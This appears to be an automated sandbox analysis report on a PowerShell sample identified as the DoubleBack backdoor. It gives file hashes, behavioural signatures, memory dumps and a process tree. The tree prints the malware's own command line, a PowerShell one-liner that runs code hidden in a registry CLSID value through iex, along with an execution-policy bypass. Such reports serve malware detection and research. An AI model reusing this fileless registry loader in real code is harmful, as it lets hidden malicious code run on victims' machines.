Resubmissions

04-06-2022 11:20

220604-nfxvesdca7 8

03-06-2022 12:14

220603-peczasegb4 10

Analysis

  • max time kernel
    91s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    03-06-2022 12:14

General

  • Target

    1662.ps1

  • Size

    192KB

  • MD5

    3f5498ca9c0d3d185bc45edf45185d07

  • SHA1

    f945b742489e29dff58fd41a4f6293b6deb57533

  • SHA256

    caa1268740d0b48795621f8d0e127fd4574c87de5c16f5348fadc97866d1de39

  • SHA512

    34849f297613c9c2b284704e65701aa88ded0ccea1956d55233a052810149b81489c4e7b6bd0416b53d394ec676221527fbe700434756ed04827b5b9bad0334c

Score
10/10

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1662.ps1
    1⤵
    • Blocklisted process makes network request
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "&{$v1='6582';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4940
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p
    1⤵
    • Drops file in System32 directory
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:2396

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/432-136-0x000001D5E4D09000-0x000001D5E4D0F000-memory.dmp

    Filesize

    24KB

  • memory/432-131-0x00007FFEA4C50000-0x00007FFEA5711000-memory.dmp

    Filesize

    10.8MB

  • memory/432-132-0x000001D5E4D09000-0x000001D5E4D0F000-memory.dmp

    Filesize

    24KB

  • memory/432-133-0x00007FFEA4C50000-0x00007FFEA5711000-memory.dmp

    Filesize

    10.8MB

  • memory/432-134-0x000001D5E4D09000-0x000001D5E4D0F000-memory.dmp

    Filesize

    24KB

  • memory/432-135-0x00007FFEA4C50000-0x00007FFEA5711000-memory.dmp

    Filesize

    10.8MB

  • memory/432-130-0x000001D5CC6E0000-0x000001D5CC702000-memory.dmp

    Filesize

    136KB

  • memory/432-137-0x000001D5E4CE0000-0x000001D5E4CEA000-memory.dmp

    Filesize

    40KB

  • memory/432-138-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/4324-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/4324-142-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/4940-140-0x0000000000000000-mapping.dmp

  • memory/4940-141-0x00007FFEA4BA0000-0x00007FFEA5661000-memory.dmp

    Filesize

    10.8MB